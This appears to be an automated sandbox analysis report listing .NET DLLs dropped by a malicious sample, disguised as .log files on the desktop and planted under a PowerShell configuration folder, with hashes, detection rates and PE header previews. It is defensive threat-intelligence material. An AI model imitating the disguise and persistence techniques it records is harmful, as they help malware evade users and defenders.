Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\MQMeXKnN.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OSzMttrI.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OeOumwpc.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QGDVeHnG.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\QYddYtaa.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\QhBdIftX.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QyTCAYNB.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SAFlVHRw.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SVFlttpV.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SrillUyz.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\UPIBktTL.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UXrTPcuQ.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\XoXkyDgk.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZytkyWMl.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aQUtsIzF.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aYPSAOzm.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\amxtkjHj.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\buBBtjbG.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\dGLjzEzy.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eUERMxhX.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\itdibBOm.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
